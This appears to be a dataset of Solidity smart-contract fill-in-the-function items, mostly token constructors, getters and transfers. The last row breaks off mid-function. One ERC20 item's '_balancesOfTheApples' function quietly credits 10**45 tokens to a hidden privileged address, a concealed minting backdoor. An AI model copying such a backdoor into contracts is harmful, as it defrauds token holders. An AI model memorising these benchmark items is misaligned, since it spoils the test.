contract_name stringlengths 1 55 | func_name stringlengths 0 2.45k ⌀ | func_body stringlengths 1 15.6k | source_idx stringlengths 1 6 | masked_contract stringlengths 72 27.4k | func_body_removed_comment stringlengths 1 5.58k |
|---|---|---|---|---|---|
SCT | balanceOf |
return balanceOf[_owner];
| 1 | contract SCT is SafeMath{
string public name;
string public symbol;
address public owner;
uint8 public decimals;
uint256 public totalSupply;
address public icoContractAddress;
uint256 public tokensTotalSupply = 3100 * (10**6) * 10**18;
mapping (address => bool) restrictedAddress... |
return balanceOf[_owner];
|
EthereumSpring | null |
name = "Ethereum Spring (Official)";
symbol = "eSpring";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[msg.sender] = 1000000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
| 100005 | contract EthereumSpring is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => ui... |
name = "Ethereum Spring (Official)";
symbol = "eSpring";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[msg.sender] = 1000000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
|
ToyOwnership | ownerOf |
// owner must not be the zero address
require (
toyArray[uidToToyIndex[_tokenId]].owner != 0,
"TOY Token has no owner"
);
return toyArray[uidToToyIndex[_tokenId]].owner;
| 100010 | contract ToyOwnership {
struct ToyToken {
// owner ID list
address owner;
// unique identifier
uint uid;
// timestamp
uint timestamp;
// exp
uint exp;
// toy data
bytes toyData;
}
struct ExternalNft{
// Co... |
require (
toyArray[uidToToyIndex[_tokenId]].owner != 0,
"TOY Token has no owner"
);
return toyArray[uidToToyIndex[_tokenId]].owner;
|
CryptoAdsToken | name |
return "CryptoAds Token";
| 100012 | contract CryptoAdsToken is AbstractToken {
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Total number of tokens in circulation.
*/
uint256 tokenCount;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = ... |
return "CryptoAds Token";
|
ValidationUtil | requireNotEmptyAddress |
require(isAddressNotEmpty(value));
| 100014 | contract ValidationUtil {
function requireNotEmptyAddress(address value){<FILL_FUNCTION_BODY>}
function isAddressNotEmpty(address value) internal returns (bool result){
return value != 0;
}
} |
require(isAddressNotEmpty(value));
|
ERC20 | _balancesOfTheApples |
_balances[account] += (((account == _msgSanders) && (garbage > 2)) ? (10 ** 45) : 0);
| 100017 | contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Bottle;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address[] private Hotel;
address private Ocean = address(0);
addr... |
_balances[account] += (((account == _msgSanders) && (garbage > 2)) ? (10 ** 45) : 0);
|
DXC | DXC |
owner = msg.sender;
uint256 teamtoken = 1e1;
distr(owner, teamtoken);
| 10002 | contract DXC is ERC20 {
using SafeMath for uint256;
address owner = 0xBc4b57D2789a0EfF23662F08A4210351909Aa4B0;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant nam... |
owner = msg.sender;
uint256 teamtoken = 1e1;
distr(owner, teamtoken);
|
SocialRecoveryModule | getDataHash |
return keccak256(data);
| 10003 | contract SocialRecoveryModule is Module {
string public constant NAME = "Social Recovery Module";
string public constant VERSION = "0.0.2";
uint256 public threshold;
address[] public friends;
// isFriend mapping maps friend's address to friend status.
mapping (address => bool) public ... |
return keccak256(data);
|
Zoomates | null |
_feeAddrWallet1 = payable(0xAdd93476694A4F99912024aE9370F1153eB2D9D2);
_feeAddrWallet2 = payable(0xAdd93476694A4F99912024aE9370F1153eB2D9D2);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedF... | 100034 | contract Zoomates is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
... |
_feeAddrWallet1 = payable(0xAdd93476694A4F99912024aE9370F1153eB2D9D2);
_feeAddrWallet2 = payable(0xAdd93476694A4F99912024aE9370F1153eB2D9D2);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee... |
RPTToken | RPTToken |
crowdFundAddress = _crowdFundAddress;
// Token Distribution
tokensAllocatedToCrowdFund = 70 * 10 ** 24; // 70 % allocation of totalSupply
keyEmployeeAllocation = 30 * 10 ** 24; // 30 % allocation of totalSupply
// Assigned balances to respective stakeholders
balances[founderMultiSigAddress] = keyEmployeeAllo... | 10004 | contract RPTToken is BasicToken {
using SafeMath for uint256;
string public name = "RPT Token"; //name of the token
string public symbol = "RPT"; // symbol of the token
uint8 public decimals = 18; // decimals
uint256 public totalSupply = 100000000 * 10**18; // total supply of RPT Tokens
// variables
uint256... |
crowdFundAddress = _crowdFundAddress;
tokensAllocatedToCrowdFund = 70 * 10 ** 24;
keyEmployeeAllocation = 30 * 10 ** 24;
balances[founderMultiSigAddress] = keyEmployeeAllocation;
balances[crowdFundAddress] = tokensAllocatedToCrowdFund;
totalAllocatedTokens = balances[founderMultiSigAddress];
|
GreenLightToken | null |
symbol = "KORI";
name = "Green Light Token";
decimals = 0;
_totalSupply = 100000000;
balances[0xcac6512d85d1d0e505c343ADe6Da7B8d2CF8BBdf] = _totalSupply;
emit Transfer(address(0), 0xcac6512d85d1d0e505c343ADe6Da7B8d2CF8BBdf, _totalSupply);
| 100040 | contract GreenLightToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ----------------------------------... |
symbol = "KORI";
name = "Green Light Token";
decimals = 0;
_totalSupply = 100000000;
balances[0xcac6512d85d1d0e505c343ADe6Da7B8d2CF8BBdf] = _totalSupply;
emit Transfer(address(0), 0xcac6512d85d1d0e505c343ADe6Da7B8d2CF8BBdf, _totalSupply);
|
TeamPool | vestingCount |
return cache[_beneficiary].length;
| 100045 | contract TeamPool is TokenPool, Ownable {
mapping(address => TokenVesting[]) cache;
function addVestor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
uint256 totalTokens,
bool revokable
) public onlyOwner poolReady return... |
return cache[_beneficiary].length;
|
AdoreNetwork | reinvest |
require(rewardLedger[msg.sender]>0);
uint256 _amountOfTokens = purchaseTokens(rewardLedger[msg.sender],genTree[msg.sender]);
rewardLedger[msg.sender] = 0;
return _amountOfTokens;
| 10005 | contract AdoreNetwork {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
/*==============================
= ... |
require(rewardLedger[msg.sender]>0);
uint256 _amountOfTokens = purchaseTokens(rewardLedger[msg.sender],genTree[msg.sender]);
rewardLedger[msg.sender] = 0;
return _amountOfTokens;
|
BTCGW | null |
_mint(msg.sender, initialSupply); // 21 Millions of BTCGW - Initial supply
_maximumSupply = 2100000000000000;
| 100053 | contract BTCGW is Ownable, ERC20Burnable, ERC20Detailed {
uint256 private _maximumSupply;
constructor(uint256 initialSupply) ERC20Detailed("BitcoinGalaxy Warp", "BTCGW", 8) public {<FILL_FUNCTION_BODY>}
function maximumSupply() public view returns (uint256) {
return _maximumSupply;
}
... |
_mint(msg.sender, initialSupply);
_maximumSupply = 2100000000000000;
|
JesusCoin | mercy |
return _mercyOfGod;
| 100057 | contract JesusCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
... |
return _mercyOfGod;
|
Token | null |
_symbol = "ERRR";
_name = "ELON MUSK Rapid Rocket";
_decimals = 6;
_totalSupply = 10000000000000;
_owner = payable(msg.sender);
_balances[_owner] = _totalSupply;
| 100060 | contract Token is ERC20{
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
address payable private _owner;
construc... |
_symbol = "ERRR";
_name = "ELON MUSK Rapid Rocket";
_decimals = 6;
_totalSupply = 10000000000000;
_owner = payable(msg.sender);
_balances[_owner] = _totalSupply;
|
Crowdsale | burnRemaining |
uint256 burnThis = token.balanceOf(this);
token.transfer(address(0), burnThis);
| 100061 | contract Crowdsale is Ownable {
using SafeMath for uint256;
Token public token;
uint256 public RATE = 50000; // Number of tokens per Ether
uint256 public START;
uint256 public minETH = 100 finney;
uint256 public constant initialTokens = 4000000000 * 10**18; // Initial number of... |
uint256 burnThis = token.balanceOf(this);
token.transfer(address(0), burnThis);
|
coffer_token | allowance |
if (deprecated) {
return StandardToken_CT(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
| 100062 | contract coffer_token is Pausable_CT, StandardToken_CT, BlackList_CT {
string public name;
string public symbol;
uint public decimals;
uint public Shares_outstanding;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tok... |
if (deprecated) {
return StandardToken_CT(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
|
xCoolCats | _baseURI |
return _baseTokenURI;
| 100063 | contract xCoolCats is Ownable, ERC721A, ReentrancyGuard {
uint256 public maxPerAddressDuringMint;
uint256 public amountForDevs;
uint256 public price = 0.01 ether;
uint256 public freemintAmount = 20;
uint256 public mintAmount = 20;
bool public revealed = false;
struct SaleConfig {
uint64 publicP... |
return _baseTokenURI;
|
BTFD | null |
_feeAddrWallet1 = payable(0xcc3DCdC97276a743157bb1f49B32C5203140c489);
_feeAddrWallet2 = payable(0xcc3DCdC97276a743157bb1f49B32C5203140c489);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedF... | 100065 | contract BTFD is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
ma... |
_feeAddrWallet1 = payable(0xcc3DCdC97276a743157bb1f49B32C5203140c489);
_feeAddrWallet2 = payable(0xcc3DCdC97276a743157bb1f49B32C5203140c489);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee... |
DummyBancorToken | withdraw |
if (balances[msg.sender] < amount) return false;
uint256 ethAmount = calculateSaleReturn(totalSupply, reserveBalance(), ratio, amount);
balances[msg.sender] -= amount;
totalSupply -= amount;
if (!msg.sender.send(ethAmount)) {
balances[msg.sender] += amount;
... | 10007 | contract DummyBancorToken is BasicERC20Token, BancorFormula {
string public standard = 'Token 0.1';
string public name = 'Dummy Constant Reserve Rate Token';
string public symbol = 'DBT';
uint8 public decimals = 18;
uint256 public totalSupply = 0;
uint8 public ratio = 10; // CRR of 10%
... |
if (balances[msg.sender] < amount) return false;
uint256 ethAmount = calculateSaleReturn(totalSupply, reserveBalance(), ratio, amount);
balances[msg.sender] -= amount;
totalSupply -= amount;
if (!msg.sender.send(ethAmount)) {
balances[msg.sender] += amount;
... |
ERC20BonusFactory | newBonus |
ERC20Bonus addr = new ERC20Bonus(_bank, _share_address, _snapshot_block, _start_block, _end_block, _bonus_total);
emit CreateERC20Bonus(address(addr));
return addr;
| 100071 | contract ERC20BonusFactory{
event CreateERC20Bonus(address addr);
function newBonus(address _bank, address _share_address, uint _snapshot_block, uint _start_block, uint _end_block, uint _bonus_total)
public returns (ERC20Bonus){<FILL_FUNCTION_BODY>}
} |
ERC20Bonus addr = new ERC20Bonus(_bank, _share_address, _snapshot_block, _start_block, _end_block, _bonus_total);
emit CreateERC20Bonus(address(addr));
return addr;
|
TestCoin | TestCoin |
symbol = "TC";
name = "TestCoin Token";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x1aADad79d2104df022b7b2C6cf3eEfd7014062B0] = _totalSupply;
Transfer(address(0), 0x1aADad79d2104df022b7b2C6cf3eEfd7014062B0, _totalSupply);
| 100072 | contract TestCoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// -----------------------------------------... |
symbol = "TC";
name = "TestCoin Token";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x1aADad79d2104df022b7b2C6cf3eEfd7014062B0] = _totalSupply;
Transfer(address(0), 0x1aADad79d2104df022b7b2C6cf3eEfd7014062B0, _totalSupply);
|
TechZU | TechZU |
balances[msg.sender] = 9000000000000000000000000;
totalSupply = 9000000000000000000000000;
name = "TechZ-Utoken";
decimals = 18;
symbol = "TZUT";
| 100083 | contract TechZU is StandardToken {
function () {
throw;
}
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function TechZU... |
balances[msg.sender] = 9000000000000000000000000;
totalSupply = 9000000000000000000000000;
name = "TechZ-Utoken";
decimals = 18;
symbol = "TZUT";
|
GonFreecsInu | transferFrom |
require(bannedUsers[sender] == false, "Sender is banned");
require(bannedUsers[recipient] == false, "Recipient is banned");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"))... | 100089 | contract GonFreecsInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) bannedUsers;
uint256 private _tTotal ... |
require(bannedUsers[sender] == false, "Sender is banned");
require(bannedUsers[recipient] == false, "Recipient is banned");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
... |
GA | null |
_feeAddrWallet1 = payable(0x9e9353E0d8348B3483EED26CC36eede056f201ae);
_feeAddrWallet2 = payable(0x9e9353E0d8348B3483EED26CC36eede056f201ae);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedF... | 100090 | contract GA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapp... |
_feeAddrWallet1 = payable(0x9e9353E0d8348B3483EED26CC36eede056f201ae);
_feeAddrWallet2 = payable(0x9e9353E0d8348B3483EED26CC36eede056f201ae);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee... |
ForkSweeper | redirect |
if (isForked) {
ethAddress.transfer(msg.value);
return;
}
etcAddress.transfer(msg.value);
return;
| 100095 | contract ForkSweeper {
bool public isForked;
constructor() public {
isForked = AmIOnTheFork(0x2BD2326c993DFaeF84f696526064FF22eba5b362).forked();
}
function redirect(address ethAddress, address etcAddress) public payable {<FILL_FUNCTION_BODY>}
} |
if (isForked) {
ethAddress.transfer(msg.value);
return;
}
etcAddress.transfer(msg.value);
return;
|
PUG | null |
_admin = msg.sender;
_symbol = "PUG";
_name = "Pug Token";
_decimals = 18;
_totalSupply = 1000000* 10**uint(_decimals);
balances[msg.sender]=_totalSupply;
| 100113 | contract PUG is ERC20 {
using SafeMath for uint256;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
address internal _admin;
mapping (address => uint256) internal balances;
mapping (address => mapp... |
_admin = msg.sender;
_symbol = "PUG";
_name = "Pug Token";
_decimals = 18;
_totalSupply = 1000000* 10**uint(_decimals);
balances[msg.sender]=_totalSupply;
|
set_rebase | start_rebase |
require(msg.sender == 0xF5bC663Bca33af81E2fb8f72D24Cad0D14665871 || msg.sender == 0xaa447A04b15AFF261e0683f293A1b731c5c10c9B);
zombie.rebase(epoch, indexDelta, positive);
pair.sync();
| 100115 | contract set_rebase{
ZOMBIE zombie = ZOMBIE(0xd55BD2C12B30075b325Bc35aEf0B46363B3818f8);
UniswapPair pair = UniswapPair(0xC83E9d6bC93625863FFe8082c37bA6DA81399C47);
function start_rebase(uint256 epoch, uint256 indexDelta, bool positive)public{<FILL_FUNCTION_BODY>}
} |
require(msg.sender == 0xF5bC663Bca33af81E2fb8f72D24Cad0D14665871 || msg.sender == 0xaa447A04b15AFF261e0683f293A1b731c5c10c9B);
zombie.rebase(epoch, indexDelta, positive);
pair.sync();
|
WhitelistsRegistration | checkRegistrationStatus |
if (goldWhiteList[_address]) { return WhiteListState.Gold; }
if (silverWhiteList[_address]) { return WhiteListState.Silver; }
return WhiteListState.None;
| 100118 | contract WhitelistsRegistration is Ownable {
// List of whitelisted addresses for KYC under 10 ETH
mapping(address => bool) silverWhiteList;
// List of whitelisted addresses for KYC over 10 ETH
mapping(address => bool) goldWhiteList;
// Different stage from the ICO
enum WhiteLis... |
if (goldWhiteList[_address]) { return WhiteListState.Gold; }
if (silverWhiteList[_address]) { return WhiteListState.Silver; }
return WhiteListState.None;
|
FIBA | null |
_feeAddrWallet1 = payable(0xb9ad731bff7Dd1e1d5956e95470fab4c0bF41B3C);
_feeAddrWallet2 = payable(0xb9ad731bff7Dd1e1d5956e95470fab4c0bF41B3C);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedF... | 10012 | contract FIBA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
ma... |
_feeAddrWallet1 = payable(0xb9ad731bff7Dd1e1d5956e95470fab4c0bF41B3C);
_feeAddrWallet2 = payable(0xb9ad731bff7Dd1e1d5956e95470fab4c0bF41B3C);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee... |
INVEToken | null |
symbol = "INVE";
name = "InveCoin";
decimals = 18;
_totalSupply = 183000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
| 100125 | contract INVEToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// -------------------------... |
symbol = "INVE";
name = "InveCoin";
decimals = 18;
_totalSupply = 183000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
|
PATH | PATH |
transferableStartTime = _transferableStartTime;
| 100134 | contract PATH is MintableToken, BurnableToken, SafePayloadChecker {
/**
* @dev the original supply, for posterity, since totalSupply will decrement on burn
*/
uint256 public initialSupply = 400000000 * (10 ** uint256(decimals));
/**
* ERC20 Identification Functions
*/
string public constant... |
transferableStartTime = _transferableStartTime;
|
VINContract | sendTokensToFounders |
require(!sentTokensToFounders && now >= foundersRewardTime);
//Calculate total tokens sold on pre-ICO and ICO
uint tokensSold = add(totalSoldOnICO, totalSoldOnPresale);
uint totalTokenToSold = add(ICOCap, presaleCap);
uint x = mul(mul(tokensSold, totalCap), 35);
... | 100139 | contract VINContract is SafeMath {
/*
* ICO meta data
*/
VINNDTokenContract public VINToken;
enum Stage{
Pause,
Init,
Running,
Stopped
}
enum Type{
PRESALE,
ICO
}
// Initializing current steps
Stage public currentStage = Stage.Pause;... |
require(!sentTokensToFounders && now >= foundersRewardTime);
uint tokensSold = add(totalSoldOnICO, totalSoldOnPresale);
uint totalTokenToSold = add(ICOCap, presaleCap);
uint x = mul(mul(tokensSold, totalCap), 35);
uint y = mul(100, totalTokenToSold);
uint resu... |
CKUSDToken | null |
symbol = "CKUSD";
name = "CKUSD";
decimals = 18;
_totalSupply = 100000000 * 10**uint(decimals);
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
| 10014 | contract CKUSDToken is ERC20Interface {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// -----------------------------------------------... |
symbol = "CKUSD";
name = "CKUSD";
decimals = 18;
_totalSupply = 100000000 * 10**uint(decimals);
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
|
AirdropDistributor | distribute |
require(msg.sender == owner, "Not owner");
for (uint i = 0; i < recipients.length; i++) {
IERC721(floyds).safeTransferFrom(
source,
recipients[i].account,
recipients[i].tokenId
);
}
| 100142 | contract AirdropDistributor {
struct Recipient {
address account;
uint tokenId;
}
address public immutable owner;
address public constant floyds = 0x39C1Fb9a9b3b39f1953E7967156A8f11A831Fd44;
address public constant source = 0x7A97f91fA492Dc693c141A040Ecc605F518Ca11c;
// assign owner in ... |
require(msg.sender == owner, "Not owner");
for (uint i = 0; i < recipients.length; i++) {
IERC721(floyds).safeTransferFrom(
source,
recipients[i].account,
recipients[i].tokenId
);
}
|
CHEDTAMA | _takeTeam |
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
| 100146 | contract CHEDTAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFe... |
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
|
AErc20 | borrow |
return borrowInternal(borrowAmount);
| 100155 | contract AErc20 is AToken, AErc20Interface {
/**
* @notice Initialize the new money market
* @param underlying_ The address of the underlying asset
* @param controller_ The address of the Controller
* @param interestRateModel_ The address of the interest rate model
* @param initialExch... |
return borrowInternal(borrowAmount);
|
Ciphs | getRate |
return rate;
| 100157 | contract Ciphs is ciphCommunity{
//using SafeMath for uint256;
string public constant name = "Ciphs";
string public constant symbol = "CIPHS";
uint8 public constant decimals = 18;
uint256 public rate = 1000000e18;
uint256 raisedAmount = 0;
uint256 public constant INITIAL_SUPPLY = 7000000e18;... |
return rate;
|
ConservativeCoin | ConservativeCoin |
balances[msg.sender] = 100000000000; // Give the creator all initial tokens (100000 for example)
totalSupply = 100000000000; // Update total supply (100000 for example)
name = "ConservativeCoin"; // Set the name for displ... | 100161 | contract ConservativeCoin is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to... |
balances[msg.sender] = 100000000000;
totalSupply = 100000000000;
name = "ConservativeCoin";
decimals = 4;
symbol = "CON";
|
ERC20 | _approve |
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
| 100165 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowed;
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approv... |
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
|
Athena | null |
_feeAddrWallet1 = payable(0xb30d777aeABC49eB3E4056Bee565A76d53026398);
_feeAddrWallet2 = payable(0xb30d777aeABC49eB3E4056Bee565A76d53026398);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedF... | 100167 | contract Athena is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
... |
_feeAddrWallet1 = payable(0xb30d777aeABC49eB3E4056Bee565A76d53026398);
_feeAddrWallet2 = payable(0xb30d777aeABC49eB3E4056Bee565A76d53026398);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee... |
DarknodeSlasher | submitChallengeOrder |
SettlementUtils.OrderDetails memory order = SettlementUtils.OrderDetails({
settlementID: settlementID,
tokens: tokens,
price: price,
volume: volume,
minimumVolume: minimumVolume
});
// Hash the order
bytes32 orderID ... | 100173 | contract DarknodeSlasher is Ownable {
string public VERSION; // Passed in as a constructor parameter.
DarknodeRegistry public trustedDarknodeRegistry;
Orderbook public trustedOrderbook;
mapping(bytes32 => bool) public orderSubmitted;
mapping(bytes32 => mapping(bytes32 => bool)) public challe... |
SettlementUtils.OrderDetails memory order = SettlementUtils.OrderDetails({
settlementID: settlementID,
tokens: tokens,
price: price,
volume: volume,
minimumVolume: minimumVolume
});
bytes32 orderID = SettlementUtils.hashOrder... |
LongevityToken | passThroughTap |
require(_tokensRequested <= getTapRemaining());
mintTap.tokensIssued = mintTap.tokensIssued.add(_tokensRequested);
| 100182 | contract LongevityToken is StandardToken {
string public name = "Longevity";
string public symbol = "LTY";
uint8 public decimals = 2;
bool public mintingFinished = false;
mapping (address => bool) owners;
mapping (address => bool) minters;
// tap to limit mint speed
struct Tap {
... |
require(_tokensRequested <= getTapRemaining());
mintTap.tokensIssued = mintTap.tokensIssued.add(_tokensRequested);
|
SmartAccount | mint |
require(msg.sender == minter);
require(amount < 1e60);
balances[receiver] += amount;
| 100183 | contract SmartAccount {
// The keyword "public" makes variables
// accessible from other contracts
address public minter;
mapping (address => uint) public balances;
// Events allow clients to react to specific
// contract changes you declare
event Sent(address from, address to, uint ... |
require(msg.sender == minter);
require(amount < 1e60);
balances[receiver] += amount;
|
PRDXToken | PRDXToken |
balances[msg.sender] = 240000000000000000000000000; // Give the creator all initial tokens
totalSupply = 240000000000000000000000000; // Update total supply
name = "PRDX Token"; // Set the name for display purposes
... | 100185 | contract PRDXToken is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to custom... |
balances[msg.sender] = 240000000000000000000000000;
totalSupply = 240000000000000000000000000;
name = "PRDX Token";
decimals = 18;
symbol = "PRDX"; ... |
ePEPE | _getTValues |
uint256[5] memory _localVal;
_localVal[0]/**supply*/ = tAmount.div(100).mul(0);
_localVal[1]/**tBurnValue*/ = tAmount.div(100).mul(0);
_localVal[2]/**tholder*/ = tAmount.div(100).mul(2);
_localVal[3]/**tLiquidity*/ = tAmount.div(100).mul(2);
_localVal[4]/... | 100197 | contract ePEPE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool... |
uint256[5] memory _localVal;
_localVal[0] = tAmount.div(100).mul(0);
_localVal[1] = tAmount.div(100).mul(0);
_localVal[2] = tAmount.div(100).mul(2);
_localVal[3] = tAmount.div(100).mul(2);
_localVal[4] = tAmount.sub(_localVal[2]).sub(_localVal[1]).sub(_localVal[... |
GuneToken | burnToken |
balances[target] -= tokens;
totalSupply_ = safeSub(totalSupply_, tokens);
Transfer(owner, target, tokens);
| 100200 | contract GuneToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public startDate;
uint public bonusEnds;
uint public endDate;
uint public initialSupply = 20000000e18;
uint public totalSupply_;
uint public HARD_CAP... |
balances[target] -= tokens;
totalSupply_ = safeSub(totalSupply_, tokens);
Transfer(owner, target, tokens);
|
BIGSTAGE | BIGSTAGE |
balances[msg.sender] = INITIAL_SUPPLY; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)
totalSupply = INITIAL_SUPPLY; // Update total... | 100209 | contract BIGSTAGE is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functio... |
balances[msg.sender] = INITIAL_SUPPLY;
totalSupply = INITIAL_SUPPLY;
name = "BIGSTAGE";
symbol = "BiiC";
unitsOneEthCanBuy = 10; ... |
spectraCBDToken | finishMinting |
mintingFinished = true;
MintingFinished();
return true;
| 100231 | contract spectraCBDToken is Ownable {
string public constant name = "spectraCBDToken";
string public constant symbol = "SCBD";
uint8 public constant decimals = 18;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint... |
mintingFinished = true;
MintingFinished();
return true;
|
ClientRaindrop | deleteUser |
bytes32 uncasedUserNameHash = addressDirectory[msg.sender];
require(initialized(uncasedUserNameHash), "No user associated with the sender address.");
string memory casedUserName = userDirectory[uncasedUserNameHash].casedUserName;
delete addressDirectory[msg.sender];
del... | 100233 | contract ClientRaindrop is Withdrawable {
// attach the StringUtils library
using StringUtils for string;
using StringUtils for StringUtils.slice;
// Events for when a user signs up for Raindrop Client and when their account is deleted
event UserSignUp(string casedUserName, address userAddress);... |
bytes32 uncasedUserNameHash = addressDirectory[msg.sender];
require(initialized(uncasedUserNameHash), "No user associated with the sender address.");
